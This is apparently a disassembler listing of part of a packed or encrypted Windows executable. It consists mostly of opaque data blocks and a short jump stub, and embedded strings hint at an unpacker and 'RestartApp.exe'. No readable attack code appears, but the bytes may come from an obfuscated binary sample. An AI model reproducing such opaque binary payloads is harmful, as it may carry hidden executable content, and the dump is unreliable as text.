		dd 0C830A471h, 638DCEh,	23ADB3E4h, 99012787h, 1A065372h
		dd 0A4F4AC85h, 549C8852h, 0BC7800DAh, 8A3908C4h, 7E1BD8F8h
		dd 0A470488Fh, 182C0CCCh, 0D0E21421h, 5826AB8Ah, 0F304A817h
		dd 0C8C22E27h, 6004C29Ch, 5C363CE0h, 804D70A1h,	8AED461Dh
		dd 40F02DB6h, 2CA25E6Dh, 6CFC8100h, 332F9CBCh, 70C00531h
		dd 0B46488h, 0B24430E0h, 0BB10786Ch, 2E13EE36h,	127C2170h
		dd 42518FD4h, 0CE2FA04Dh, 0E7E897Dh, 0A8BFE2FFh, 1D01D2C0h
		dd 740B295Fh, 10A6E0CDh, 0B8AAB1C0h, 781B1B9Ch,	4E749BFh
		dd 303C97A5h, 1FEC4C5Dh, 93C6A103h, 70D6306Eh, 0FEF0A098h
		dd 0D7CB1F2h, 0E0A1AEE0h, 41F3AACEh, 39F69BB8h,	8C7A0088h
		dd 4D722224h, 71B809D9h, 38902D9Ah, 0CF02E74Bh,	0BC70FAFBh
		dd 0BF960C0h, 0B03800C1h, 6827326Dh, 0F9C07587h, 75EDA59h
		dd 6A2B0750h, 803A46BAh, 4733F167h, 0E8A44331h,	0B0005AAh
		dd 0F584AC4h, 0CDE6C4BCh, 32EC0980h, 985E0EB0h,	0DF01A8EEh
		dd 805F0380h, 0E540EA39h, 160CB0h, 0D15E5475h, 0E3573CCAh
		dd 5DFBEF05h, 0F803A777h, 0AC843BCCh, 3E49C88h,	953774ABh
		dd 76FA1A0Dh, 0A561F840h, 882CF62Ah, 0E667E200h, 2449AE6Eh
		dd 4CAE4BCh, 0CEDBB10Fh, 0D3C0C0A9h, 0A12AE025h, 2802ACF0h
		dd 18AD5E3Dh, 0FF7EE0F7h, 9DF2009Ah, 9890F40Ch,	92050750h
		dd 31C851DCh, 5F7A69C0h, 0D2581ED9h, 79864CD0h,	5700EFA1h
		dd 0B742B5DFh, 3CCD1F5h, 6D32E303h, 7CA8D0F8h, 0A9FAB3FCh
		dd 0CF705E3Ch, 5DE50420h, 0DBEA0883h, 24BE232Eh, 823A74A5h
		dd 22787599h, 0CE34E1CCh, 1C2DFEECh, 26DB3D6Dh,	0DF8240B0h
		dd 8100CC76h, 0CE3460C4h, 1EFE2AECh, 7E15EDh, 0C9E1061Fh
		dd 71887C85h, 0D9C20011h, 1B475FF8h, 0AB000D30h, 32749C3Ah
		dd 4373368h, 0CC8FDA0h,	0A880C273h, 8CF228C6h, 0DA9A3000h
		dd 7078ECB0h, 6B5A0923h, 8CC453A5h, 9E93A901h, 7233C866h
		dd 0B738BC63h, 7149DD80h, 0DB7AFC1Ah, 7492E501h, 0E0581340h
		dd 3936868h, 6F55F8C0h,	9083A7A7h, 851434B8h, 0E000D891h
		dd 0F7B371DAh, 982709E9h, 20805363h, 0B80AA851h, 7F4C6173h
		dd 84901330h, 2857B006h, 862E189h, 0C7CFAD0Fh, 0C2D26840h
		dd 772EBD41h, 3001CCCh,	0AF3517BEh, 873F24A3h, 5A5F4078h
		dd 7C3F29FCh, 0F1CF83AEh, 0DA1DD4F6h, 0C1E860AAh, 0FC0148BFh
		dd 6D6C9F81h, 0E71BF426h, 0C7010BE8h, 0AE97D174h, 9D706467h
		dd 0B1E80EDCh, 23124ED9h, 0CDC0BD98h, 0A40088BBh, 38166145h
		dd 1CFDE65h, 0BFA03D7Ah, 62035FB3h, 1965800h, 16DD450Ah
		dd 97D1AE9Dh, 129E5120h, 1E418B6Eh, 34666Ch, 1698C4C0h
		dd 0E1C36FCh, 117F7A9h,	9D85D021h, 4FD67F8h, 886C7F7Bh
		dd 0B0CCC655h, 76696500h, 0E03DFB8Ah, 0A41853E2h, 71A3B400h
		dd 0B2EFB658h, 0C0070F08h, 89300028h, 667677D3h, 0E93D20E9h
		dd 1DBCD100h, 7B954D02h, 981613B0h, 7C15A3h, 0C2B19084h
		dd 0DC90F6BCh, 0C6771477h, 0F12D8300h, 348E71Fh, 78FC0143h
		dd 0CD048642h, 6173F9A9h, 0F4983470h, 8AF8C662h, 2CC8E43Bh
		dd 3D3816ADh, 46D50BFDh
		dd 4C649DBBh, 0C51FC2FEh, 0D6001F8Ch, 1E98C7F5h, 0B54E0ED1h
		dd 0D9507853h, 0BE8C768h, 3B70B112h, 77E53980h,	0A09CD9A5h
		dd 0FE765E0Bh, 0B89410F0h, 0D5960729h, 0D03ADD6Fh, 1C282436h
		dd 110130B0h, 13D6E04Bh, 3180D72Dh, 9AA4C660h, 0C7136563h
		dd 7C21F7BEh, 50D8E15Dh, 3050038h, 0D18773F0h, 0A0A0DE36h
		dd 1A008DFEh, 5FC911A2h, 177FC785h, 865D5B8h, 338077F0h
		dd 326AA835h, 0DE020074h, 7C2EBB0Eh, 750E5E1Fh,	0E044C709h
		dd 0D664AE92h, 1880A122h, 24A10111h, 92B0CF00h,	0C7723Bh
		dd 0B38F2343h, 5782984h, 0F8149F1Fh, 669082A7h,	2804B870h
		dd 7AF0B04Ah, 59D7EEC1h, 3287C0F3h, 0EECB112h, 73007EB6h
		dd 92864DDAh, 0FB1A9400h, 5B054BA7h, 98351E2Bh,	2D72C469h
		dd 0AC2082C5h, 3800F066h, 0C0189810h, 13FFDB8Dh, 1C23A78Ah
		dd 70298547h, 0F480400Fh, 0C70C68C2h, 98D60E00h, 0AC0AF585h
		dd 138800EAh, 0EFBFCD28h, 0C8A412A9h, 55010377h, 0D3E7B694h
		dd 0C8335F6Dh, 685C2B00h, 39A74ECDh, 0EF2FD60Fh, 480BC0FAh
		dd 0E89CE61Fh, 0FD891604h, 44F8228Ch, 84009851h, 0FD03B688h
		dd 7BCE627h, 23C6E7EFh,	0FBF4501Bh, 0B1003A12h,	8B047799h
		dd 7A28FE1h, 9178865Eh,	0D4110B46h, 41F5C830h, 0CABA9305h
		dd 10CC96F0h, 0E088FE26h, 58D09040h, 8C1F3802h,	6E13BCB1h
		dd 0C280D40Ch, 14E4863Ch, 0B9E220EBh, 7318BA01h, 3B455E5Fh
		dd 91207BFDh, 978A00B1h, 36CF22E7h, 1D7314A3h, 54F1D100h
		dd 37272494h, 402B4EF6h, 3ECF2860h, 1000EED5h, 0F59ABFDFh
		dd 0E07F91h, 5818FC7Ah,	0A413B078h, 94DC8948h, 17B63E20h
		dd 90523957h, 20D9B430h, 0B272027Bh, 8750305Eh,	0EC00E872h
		dd 0C259AC6Dh, 6787DCCh, 0D6D1E09Eh, 0C000F8A9h, 74867F43h
		dd 2D4231Ch, 7746A087h,	25237683h, 0B74DB809h, 0BB640AA4h
		dd 0C068FCh, 0C1BD63F3h, 7E00D82Ch, 9845D591h, 2D5A66h
		dd 0BE05F7DFh, 0A349AD01h, 8AFD4B08h, 0CE6680E9h, 79EA08E3h
		dd 0D020B35Eh, 97CDCEBh, 7F421F9Ch, 11C6FD80h, 2300E03Bh
		dd 0D989AAC0h, 55F5F7EBh, 4CE8A432h, 5FE40044h,	0B1688431h
		dd 8839D793h, 2DDA96D2h, 347B4801h, 0BBD19670h,	1933C68h
		dd 9514AD8Ch, 0CDF440AEh, 781891F3h, 0F0F97488h, 4967001Ah
		dd 0D175EAFCh, 7D4CBAABh, 999405A8h, 0C809455Dh, 0C444B3h
		dd 5385544Ch, 5861B51Eh, 947DEBEAh, 0F51E605h, 44A23A45h
		dd 39378707h, 3C02D046h, 97004E4Bh, 0A62A57F5h,	0F80B7FFDh
		dd 90E601B0h, 0FE7B71D7h, 80A838F2h, 5F1C83DEh,	67242F29h
		dd 0BBEC8038h, 7A682A00h, 6222B73Bh, 0D2CA0783h, 80316471h
		dd 0DA861E90h, 0B6A31F14h, 689B07ACh, 6F310B6Dh, 0EEF41225h
		dd 87110B61h, 480CD21h,	691EBB7Ah, 0A2F3FD2Dh, 0A02DF604h
		dd 2283ECA8h, 0F44300EBh, 0A612D7BDh, 78A80806h, 0B2003C1Fh
		dd 0AE031C87h, 149C198h, 0E9556A1Ah, 226F2E0Eh,	0A7BA14BCh
		dd 48122C80h, 9D62B540h, 0E2040089h, 985E0201h,	0A660F281h
		dd 12541AA0h, 30C81DB5h, 2C99407Dh, 0A8889D73h,	8595E500h
		dd 22BABDC4h, 8617258Eh, 6F4EAC20h, 0CF3983A9h,	0A3B980BCh
		dd 2560FABEh, 6E4709B3h, 1082B622h, 3844F62Bh, 4E7D2AB0h
		dd 0A80EA401h, 77181DC1h, 7F00D063h, 47F183CDh,	5EEE7D2Dh
		dd 0B9A2601Ch, 0FADD7981h, 0C0C22827h, 0E478BC70h, 8039D720h
		dd 0FF1BFDD8h, 1210BF3Fh, 0A0A01D22h, 0A4E02527h, 0BD0C4098h
		dd 0B1AFCE00h, 9ECB782Dh, 0BE5C018Ah, 7B917AA3h, 80202B56h
		dd 44460Dh, 60FB598h, 547BC6C9h, 7020304Dh, 9780F0BEh
		dd 9A881671h, 58E0E9h, 6943446Fh, 858F7D3Dh, 0BFB83201h
		dd 80C01198h, 9110C4DCh, 0A17E037Ch, 1E87597h, 5A00C79Fh
		dd 28FC7B5Fh, 4C29A769h, 4702D076h, 0A5BC705Bh,	0BF1C8081h
		dd 8F4C7046h, 34850CB9h, 0ECA3F7A4h, 25931500h,	0C8225EE2h
		dd 0A6FD4139h, 2063F498h, 0AD7B9844h, 7C545578h, 6BC514DDh
		dd 0A0FC70h, 2E072270h,	0D86348D0h, 30B1B790h, 0B7CA85BDh
		dd 3E811A0Ch, 2440F706h, 3F25D82Ah, 0F0CC9584h,	0AB1A6909h
		dd 0EF0080E4h, 2870D321h, 0E6C17Bh, 5FB46274h, 25B2D252h
		dd 1F659802h, 0F99E81F4h, 0B7040044h, 44392106h, 0B693BC00h
		dd 1A187B38h, 0F65A05C4h, 8C12F923h, 0F5006C58h, 0C830D071h
		dd 5C5FA8BCh, 0B5C06076h, 2898AA65h, 0CF56FD00h, 0B7039A5h
		dd 0DB001AFh, 0F7B87B8Fh, 1D038CEh, 1EADC71Fh, 202B554Bh
		dd 765A790Ch, 0A7E2D9F0h, 0FA0717F4h, 15F413B5h, 0D08247F4h
		dd 0B21F240Ah, 63D60174h, 0E56CCD55h, 88201871h, 4EDCA04Ah
		dd 0D0AD485Bh, 9819330Eh, 7EFAE6C2h, 8801C643h,	56C6CB13h
		dd 38BD9AEDh, 30A35E92h, 23EF3048h, 8DAFEA00h, 0B7B39716h
		dd 0A031008Eh, 79285348h, 80B1A37Ah, 8A5C9A80h,	2B1553Dh
		dd 0F40B29B9h, 84C682A7h, 0F74FBC07h, 0C830ADE5h, 1AC1F23h
		dd 0BEAF306Ch, 0D014DDF3h, 4816BBE8h, 0C87F3Eh,	0B19400AEh
		dd 6267754Dh, 6601D6ABh, 3D351E4Fh, 0B1852C2Eh,	83DE8AEDh
		dd 0E030CDF4h, 1DE210BBh, 87E60748h, 72933476h,	145CF6A4h
		dd 0B1181B8h, 6F4B7EC7h, 733268C0h, 0D2891E31h,	2205E4E8h
		dd 5A710FB4h, 5840FE6Eh, 644C5BE5h, 84AEF424h, 0F9EFFA60h
		dd 93240AD7h, 19D8165h,	8B66FFBEh, 28402BF5h, 0E15C2D82h
		dd 1150E6Fh, 9F40E428h,	3BAB9BFFh, 8EEF9901h, 69D9BDD4h
		dd 175886E0h, 0C8BF78CEh, 1D5C7784h, 0CA6F01B8h, 5CE206Ch
		dd 33805450h, 1AB9004Ah, 0A96CB14Fh, 0F22689FCh, 0A8304536h
		dd 7F973EDh, 784CC76Bh,	0A42D9520h, 6717123Ch, 4300CDB8h
		dd 8DE2D5DAh, 66AE0997h, 1C042A90h, 1F90B3A3h, 20AEB208h
		dd 8D953160h, 92720256h, 6ADEBFB4h, 0CE8ABE60h,	0A8775Ch
		dd 0BEAE9D1Eh, 94DB8BE6h, 0CF4603Ch, 0F30099C7h, 92BBA442h
		dd 8ECBC8h, 5755D730h, 0D46D5B3Bh, 3840A0B6h, 732B4484h
		dd 292E18AAh, 43DE190Fh, 0F4899802h, 803A396Ah,	35A0EC4h
		dd 992044F7h, 81D7B73Dh, 0C2C6E992h, 93FC9B1Dh,	0A3D0E571h
		dd 0EE730379h, 0AA5C11BEh, 362B1000h, 82ECD96Dh, 0CF472718h
		dd 0C5B8A493h, 680F16A0h, 0A0377429h, 0C8E21798h, 8AD0006Ch
		dd 0EE783E9Fh, 7609867Dh, 680384F8h, 60AD5C5Ch,	8CD934C3h
		dd 0EB0F1AFAh, 60A4B5CEh, 7819B2C4h, 6B5CA053h,	91C7C6Fh
		dd 10775EFEh, 84E46C00h, 1D2C6CA2h, 0CF18982Fh,	9DCA2118h
		dd 0BEA8D033h, 1273F0E1h, 11B1B9C7h, 0C52B3440h, 198F094h
		dd 230BB24Ah, 60CBA4F1h, 8C5BFE4Ah, 5E9B023h, 1E99A518h
		dd 0F3AC0057h, 0FE730BD7h, 9430F14Ah, 1754DCBFh, 2010966Ah
		dd 27FC9A58h, 0BA774D00h, 4AD12971h, 0E7D9003Bh, 9C73C6F5h
		dd 47012A01h, 0DB1F35B7h, 88A5AA5h, 0AA83DDh, 44727A97h
		dd 41006888h, 0D9819209h, 0E09CF266h, 0B4200BEh, 7A013BA0h
		dd 3C03FB54h, 87D59D83h, 1340E741h, 62DEA15Ah, 321D60DDh
		dd 0F7BC0A60h, 562428C3h, 885CE877h, 5B0F1854h,	0D96989DAh
		dd 5FABCE0h, 0A2158903h, 0EB23742h, 1D5D2A61h, 0E7845B00h
		dd 800BBE0h, 0A4399895h, 1CBE335Fh, 40BA7D5Eh, 421DCF52h
		dd 6E600CE6h, 0F35835D8h, 0AE4A00F1h, 0A0EBBD05h, 0B131DEF9h
		dd 10B8F42Ah, 600CDDE0h, 0B0B3316Dh, 75035AFFh,	1C7DAF16h
		dd 0FA6498A9h, 0AA13020Fh, 0FF27F829h, 2B4347C0h, 0A16A570h
		dd 8000267h, 0FEB28559h
		dd 0B3643FB5h, 1B0242Ah, 5B152B72h, 0F382D5E4h,	59A98E90h
		dd 3B8A2F03h, 0FF01DFDCh, 0B96ECCh, 3CA62E6Ch, 23D8F095h
		dd 0D394C054h, 15C11100h, 0EFD01D92h, 2D7500A0h, 4EB49453h
		dd 0FEB0C62Eh, 265BCD18h, 389A5A79h, 73B70C1Ah,	5F80E9E1h
		dd 0D3EB6257h, 0FB6B9900h, 320D18CAh, 7C9D0005h, 37E17414h
		dd 2065CBEh, 51A49AC3h,	78280051h, 677ED115h, 8F704B53h
		dd 0F321A100h, 0C2390FCFh, 0E50C0471h, 90CD8829h, 8C87C604h
		dd 928A4800h, 737EEDD8h, 0DA900364h, 0DC2C0C83h, 194C2800h
		dd 788A1E23h, 135FECB5h, 0BDC6C3h, 2AEBACE8h, 95488B15h
		dd 30B7221Ch, 0B9925A4h, 56091384h, 7BB16D1h, 5950A80Fh
		dd 0E2102C22h, 605C7694h, 0CB0739CFh, 9F0768BEh, 6E914A78h
		dd 0DC99D450h, 52A67F46h, 0F400DCA4h, 6CD5CCFFh, 0EC017152h
		dd 9D6D7FD3h, 0AAE4563Bh, 4F9600C1h, 0B11898C2h, 8E07175Dh
		dd 2EA854B8h, 0A05ACAB0h, 2284A9F3h, 0FC815AE3h, 0DFF10074h
		dd 0E6819AA6h, 0C1BE00C2h, 0A92E7D2Ah, 57750727h, 51E45D06h
		dd 539CC23h, 4B81A324h,	75AC366h, 1A81C0C3h, 0DD4ED82Eh
		dd 0F40D6429h, 40858100h, 34337Bh, 5A66822Dh, 0E979722Eh
		dd 22926013h, 0FB5E401h, 6181DC40h, 232D9CFEh, 311180CBh
		dd 4C5F3B0h, 3BB40301h,	0D4594096h, 3CF1B9F8h, 384BF201h
		dd 23DBCEBCh, 3D479A5h,	86BAB58Fh, 24191EA6h, 19C25A5h
		dd 0DE261F1Ah, 0FC42E5B2h, 5D3D0BA6h, 705B8202h, 98EE9766h
		dd 3B64AAECh, 7A00276Ch, 0ABAEEFFEh, 0AD002FF3h, 0DE9AC624h
		dd 18C5A5Dh, 0B2570C12h, 51C88593h, 0DC0298B8h,	7D00F8F0h
		dd 6A287550h, 6CD3A4Dh,	5A2A3F56h, 0A430E9CEh, 0F579712Ch
		dd 252E00CAh, 0BB5791F0h, 51C0C588h, 6BAE2F36h,	0B40A00DAh
		dd 0E7CB94B0h, 2701BC6Fh, 5FA54EDEh, 0DF41EA2h,	0BE8000B4h
		dd 0B6CD578Ah, 300495F3h, 0FD9F7549h, 387158C1h, 0A6D81831h
		dd 83E60069h, 303B9C95h, 0C8A4432Ah, 995BA430h,	55F98Dh
		dd 8B5AAD94h, 4882F5CCh, 8EA2081Dh, 295041CCh, 0EA8910Dh
		dd 0BD404CF5h, 0A8CC79Dh, 0F4810200h, 3CBB70C0h, 0E032F89Fh
		dd 0B5DA002Fh, 2BAB830Bh, 0D2905AF3h, 50B42704h, 0C0C7C578h
		dd 0F97ECC0h, 6BC915Fh,	69290CF7h, 4F9DA301h, 0F384214h
		dd 7E8ED8h, 0DF3A4C10h,	0AFB3B4FEh, 1A279E03h, 758A5BCh
		dd 325F46A9h, 0AF7D3722h, 5245B562h, 470F82E0h,	0F53280A4h
		dd 20D91094h, 0A5B5F2CEh, 8F145C05h, 38873C62h,	441C9EC8h
		dd 0C0FF1271h, 7449029Dh, 339D9401h, 0F124015Dh, 225BD441h
		dd 6D00A832h, 2CA10BBh,	1609D40Ch, 891720F0h, 0B34C19ABh
		dd 0F8F6E4h, 0BC574066h, 0F1BBC904h, 42CD160Ch,	0EAFCD120h
		dd 412E2CFFh, 43A40004h, 0E656CC5Eh, 129C3158h,	94043512h
		dd 5B4920ACh, 856C900Dh, 0C9412A11h, 71FC28h, 0A5D73695h
		dd 6EC6CA7Dh, 530529E4h, 9248BF59h, 45CFC090h, 751D0E0Fh
		dd 7D275ADEh, 0D9672770h, 0D1E80898h, 3B889E00h, 30CCD7C0h
		dd 8FE13D7Ch, 0BE624107h, 0CC2ED7B9h, 3D88DA88h, 23361894h
		dd 0F54311C3h, 0CAEA8100h, 77E87B19h, 3CC98D4h,	0D3FF3D71h
		dd 0B97059A4h, 0E900C27Dh, 9E093584h, 6505140h,	242E9437h
		dd 0D0051C4h, 34E86142h, 15F0AAD3h, 0BC2B0CEBh,	0B90E3A79h
		dd 518EE81h, 0F4F093DFh, 0B60D3A1Eh, 0D921D9CEh, 3999C30h
		dd 3DBBF554h, 4100280Ch, 1618DAA4h, 7DBDFE9h, 91BA8530h
		dd 90CA4494h, 2654E118h, 9BC5CD00h, 0E57B5CC1h,	49EE290h
		dd 0B2FA27B1h, 72048CF6h, 37BB4000h, 8757AA18h,	0A08F0055h
		dd 0CEB4094Ch, 224C61EAh, 0B88E9Ch, 6A183FDCh, 90320025h
		dd 0A59A38E3h, 5873287Ah, 0C388ED19h, 60FC6E89h, 86C209EBh
		dd 700194D4h, 20DF1D06h, 7A12BBC4h, 0B8230DA2h,	0E08792EAh
		dd 703DBFBh, 0ED262E98h, 8CBF95A7h, 6E002FD4h, 0AA3DDAFCh
		dd 704BD91Eh, 526B00A0h, 0F57864EEh, 39065DCFh,	0D8480F8Ah
		dd 0EB2709B9h, 0B4020EDEh, 3CC42268h, 68AD11Ch,	735F2040h
		dd 0A7CA2Ch, 1051A3EBh,	0D2DCD9Ch, 0CB6E44h, 2FBF509h
		dd 0E4537324h, 0E5B9F228h, 0EA29750Fh, 0C77780C4h, 7A5CB3C5h
		dd 580D0003h, 79A09891h, 0BE03E5FAh, 23FFF553h,	0A18100C1h
		dd 0D34388D1h, 651DFC5Dh, 5E04048Eh, 7088D9CDh,	0B918A82Dh
		dd 6D77001Eh, 3F69E6E5h, 3102B38Dh, 0A55AF493h,	388009C0h
		dd 0C688FC98h, 6A2411C0h, 460201h, 0FB8D50C4h, 7D75C36Dh
		dd 80C8A348h, 708CD652h, 9CC100A2h, 9A0CDAE4h, 61036B90h
		dd 0FF365ECCh, 54D28D11h, 1E428DCh, 9472487Dh, 0AF89F0FDh
		dd 0DC1C9312h, 17447830h, 5922017Eh, 6BFAC8Eh, 3092F579h
		dd 0DAEC9A28h, 9F52BE09h, 233C8412h, 0E682B440h, 77A97BAh
		dd 0C900AC91h, 8D30C792h, 695B3B5Ah, 7CAB5174h,	30334C20h
		dd 811C287h, 421CFBB5h,	0AF838E01h, 1E22A455h, 0C39E7A61h
		dd 0C513FA20h, 197456E3h, 66556E00h, 300DB645h,	47AC0059h
		dd 0B8D719EDh, 0FA03999Eh, 859DF322h, 0BF6900F1h, 5DEEB95Eh
		dd 0F8FC1338h, 2BD20900h, 3EAAE34Dh, 5AD112E2h,	1820D09Dh
		dd 73032029h, 89EB2656h, 5FE5A7ACh, 0A6E31CC0h,	0E65D1403h
		dd 3C1BBC51h, 2DE1085Bh, 2073B1h, 0D068F483h, 5435B9h
		dd 4BAAC879h, 6F287BFCh, 89CAC2Eh, 2CA51280h, 0B1A65A0Dh
		dd 30BC1728h, 0FAFDA00Ch, 9AE4A100h, 9F3EC8D0h,	0C0B84CD1h
		dd 7653001h, 603D05A6h,	0A0DCDDA4h, 0C8C5230Ah,	0A9FC5687h
		dd 0EF2E7510h, 0F45C3D57h, 30AD4298h, 0DA58CED3h, 0C6878604h
		dd 98F30081h, 0AE7F64C3h, 0E5010D67h, 0B250C7E1h, 2462ADCEh
		dd 3F303A2Ch, 1104542Eh, 57301E34h, 0C181581Bh,	31BF220Ch
		dd 0F041B100h, 5AE79C0Bh, 71C99F32h, 46422h, 8EB8D49Ah
		dd 0BC5C92ABh, 0ECFD1CE4h, 0AFE47797h, 0A37AE1F4h, 0ADD67D09h
		dd 20C88493h, 0BE48E30h, 0B840234Ah, 1A39A1D7h,	607000CAh
		dd 8287ADF8h, 0D5073C30h, 1DD3DB9Ah, 661A10D2h,	19774E0h
		dd 57B72A45h, 281C6ACAh, 20CB8F84h, 3C6C5338h, 284A0155h
		dd 7CC73E6Dh, 0EAB46026h, 199B8300h, 0CF57B45Ah, 9106F6D3h
		dd 0DD7F8090h, 0CDF0D2DCh, 70D83706h, 0C16F0Ch,	72CC7EB9h
		dd 564C41Fh, 0E4912F03h, 0AA112CAEh, 9D2CE399h,	0EB09FC01h
		dd 0A0488828h, 6BB91437h, 0C200CF0Ah, 0EE2BAC2Dh, 7E38EA8Ah
		dd 91491877h, 133D3938h, 38BFDBEh, 0F28901B8h, 5121870h
		dd 802088AEh, 12B7014h,	0FF279F3Bh, 0F8FE7F79h,	5A2ACCBAh
		dd 0C509EC37h, 6A47CD42h, 0D22882F8h, 4CE4A5h, 7823F8A6h
		dd 5CBE367Fh, 3F310F58h, 0B4AA75CEh, 0EC206020h, 1801A4E3h
		dd 0A558E11Bh, 14BCC13h, 80EDFFFFh, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4EB08D:				; CODE XREF: start:loc_48F265j
					; DATA XREF: start:loc_48F086o
		jmp	loc_4EE35A
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 0Dh dup(0)
		dd 10000h, 0C4E50000h, 4EBFFFFh, 301h, 0FCFC0000h, 8001h
		dd 27C90000h, 0B5E20053h, 8A0Fh, 0B5360000h, 5BE5004Eh
		dd 51h,	2 dup(0)
		dd 90400000h, 0FFFFh, 30DF0000h, 0A9C5h, 0
		dd 67C20000h, 54h, 70AD0000h, 3045405h,	7FFEh, 0
		dd 0CB4F0000h, 0C62Ch, 1B400000h, 418D76B4h, 52h, 3A430000h
		dd 755F6D5Ch, 6361706Eh, 72656Bh, 7Eh dup(0)
		dd 35B0000h, 20000h, 3 dup(0)
		dd 4EC00000h, 0AC18h, 3	dup(0)
		dd 77E6h, 3 dup(0)
		dd 189A0000h, 77DDh, 0
		dd 1ECC0000h, 561Ch, 6 dup(0)
		dd 34EB0000h, 4649h, 6E0B0000h,	4 dup(0)
		dd 10000h, 0Ch dup(0)
		dd 8400000h, 86h, 5 dup(0)
		dd 9C370000h, 9Ah, 69DD0000h, 9Ah, 0Fh dup(0)
		dd 8D200000h, 0FFFFh, 60980000h, 0Eh dup(0)
		dd 3040000h, 7FFEh, 31450000h, 9Ah, 4 dup(0)
		dd 57B00000h, 47EB0052h, 21680052h, 77E8h, 10000h, 4 dup(0)
		dd 1050000h, 0BC0A28h, 55F60000h, 0D930000h, 0D4Ah, 0FFB00000h
		dd 201FAh, 5 dup(0)
		dd 68630000h, 51h, 2 dup(0)
		dd 0F9000000h, 2 dup(0)
		dd 6E0B0000h, 0
		dd 9DB20000h, 2292BFFFh, 0FFFF009Ah, 0FFFFh, 0B7800000h
		dd 0
		dd 0B57F0000h, 633FEh, 24h dup(0)
		dd 49C00000h, 52h, 0
		dd 3EB80000h, 0A80014h,	3 dup(0)
		dd 0FDFF0000h, 0DFh, 0F30E0000h, 77E7h,	10000h,	9 dup(0)
		dd 0C0000h, 23Bh, 7 dup(0)
		dd 0E3360000h, 0FD087FFEh, 12h,	3 dup(0)
		dd 0D06E0000h, 52h, 0Fh	dup(0)
		dd 0FF900000h, 0FE18FFFFh, 0FFBFh, 15680000h, 9DAF009Bh
		dd 55h,	0F80000h, 99h, 0
		dd 0D88A0000h, 0B1CAFFABh, 0A8h, 9 dup(0)
		dd 6E0B0000h, 5	dup(0)
		dd 26A00000h, 0FECBh, 3	dup(0)
		dd 280000h, 5 dup(0)
		dd 0C9480000h, 54h, 7 dup(0)
		dd 3EB10000h, 0FA74h, 2	dup(0)
		dd 0B08D0000h, 0FA4Bh, 6 dup(0)
		dd 7820000h, 0FFFC7CCEh, 0FFFFh, 7C5C0000h, 5B04h, 0
		dd 10CF0000h, 5E1Bh, 3 dup(0)
		dd 5ADC76B4h, 840F984h,	86h, 3 dup(0)
		dd 8D8D0000h, 8A6Fh, 3C0000h, 5CB577E6h, 77E7h,	3 dup(0)
		dd 21CD0000h, 4649h, 8C0A0000h,	0FFFC009Ah, 0FFFFh, 99950000h
		dd 9Eh,	8 dup(0)
		dd 0FFB00000h, 20Ah, 4 dup(0)
		dd 8D8D0000h, 8A6Fh, 3040000h, 7FFEh, 0
		dd 0C4120000h, 169F0054h, 686Fh, 0Ah dup(0)
		dd 6B9C0000h, 243h, 2 dup(0)
		dd 23Bh, 2 dup(0)
		dd 0FFFE0000h, 55h, 4 dup(0)
		dd 0DDFB0000h, 9499FFFFh, 6A77009Ah, 0B0A1h, 10000h, 50000000h
		dd 65BA0003h, 7407h, 0
		dd 432Dh, 12h dup(0)
		dd 40000h, 53000000h, 23E85251h, 9Bh, 5	dup(0)
		dd 0C0000000h, 8, 0B7800000h, 8	dup(0)
		dd 2D680000h, 55h, 0FF660000h, 0FFB3h, 7 dup(0)
		dd 7EDD0000h, 0A83770EBh, 77E7h, 3 dup(0)
		dd 0C5DE0000h, 50AEh, 0
		dd 939300B1h, 0ED52009Ah, 0F420051h, 0DCBFh, 55FC0000h
		dd 26FBh, 0
		dd 30DF0000h, 0A9C5h, 74B90000h, 3ED4h,	0
		dd 86EE0000h, 3463h, 648E0000h,	0FFFF0055h, 0FFFFh, 2Bh	dup(0)
		dd 0E2F00000h, 93EF0052h, 77E7h, 0C29D0000h, 6946FFAAh
		dd 0B994h, 5 dup(0)
		dd 0FCFC0000h, 59F08001h, 77DDh, 2 dup(0)
		dd 70C40000h, 9Ah, 0
		dd 7E650000h, 8050h, 4 dup(0)
		dd 0F7F70000h, 0FCFC0053h, 8001h, 8 dup(0)
		dd 0C3960000h, 18A1004Eh, 0A2F00054h, 9Ah, 9 dup(0)
		dd 21980000h, 7FD83451h, 9Ch, 0Bh dup(0)
		dd 79AF0254h, 55h, 2 dup(0)
		dd 4AF00000h, 32h, 40000h, 2 dup(0)
		dd 69DD0000h, 9Ah, 0B53D0000h, 15E1Bh, 230000h,	52h, 36DF0000h
		dd 32680055h, 9Bh, 5 dup(0)
		dd 49C00000h, 0A1440052h, 77E7h, 0
		dd 20000h, 6 dup(0)
		dd 0A40000h, 2 dup(0)
		dd 0CDF90000h, 52h, 49C00000h, 52h, 9 dup(0)
aCxS		db '-CX',27h,'S',0
		align 4
		dd 6 dup(0)
		dd 0FCFC0000h, 8001h, 5	dup(0)
		dd 0E7B00000h, 151h, 0
		dd 8C0000h, 0EE80000h, 4 dup(0)
		dd 0B3010000h, 5E53h, 6E0B0000h, 0DEA30000h, 1070h, 79630000h
		dd 77E7h, 8CA10000h, 0FFFFh, 2 dup(0)
		dd 0F72B0000h, 11Ah, 65950000h,	3B7Bh, 0
		dd 10000h, 4 dup(0)
		dd 954B0000h, 91794BEBh, 4E2h, 0
		dd 0B5E20000h, 8A0Fh, 0
		dd 0B53D0000h, 0D44FFA1Dh, 57h,	9F70000h, 9Ah, 3 dup(0)
		dd 0E800000h, 4	dup(0)
		dd 3040000h, 7FFEh, 0
		dd 99E90000h, 16h dup(0)
		dd 0FFFF0000h, 0FFFFh, 5 dup(0)
		dd 6E0B0000h, 3040000h,	7FFEh, 76C20000h, 5D02h, 0
		dd 0A00000h, 1Dh dup(0)
		dd 0A8370000h, 77E7h, 0BCEB0000h, 9FA41013h, 0BB4E3881h
		dd 1A69004Eh, 42EB0284h, 5763h,	8C270000h, 3364h, 3 dup(0)
		dd 0FF540000h, 12h, 9 dup(0)
		dd 390000h, 3 dup(0)
		dd 800000h, 0
		dd 10000h, 23D70000h, 77DDh, 0
		dd 65520000h, 72617473h, 70704174h, 6578652Eh, 230000h
		dd 915B0052h, 9Ah, 3 dup(0)
		dd 6180000h, 77E8h, 2 dup(0)
		dd 0A00F0000h, 9Ah, 4 dup(0)
		dd 0B95E0000h, 0
		dd 0BF360000h, 0B16855F7h, 99h,	0Ah dup(0)
		dd 0D09B0000h, 0F8BCh, 0
		dd 20000000h, 3F250000h, 52h, 4	dup(0)
		dd 0EDCF0000h, 0B34A004Eh, 75D7h, 3 dup(0)
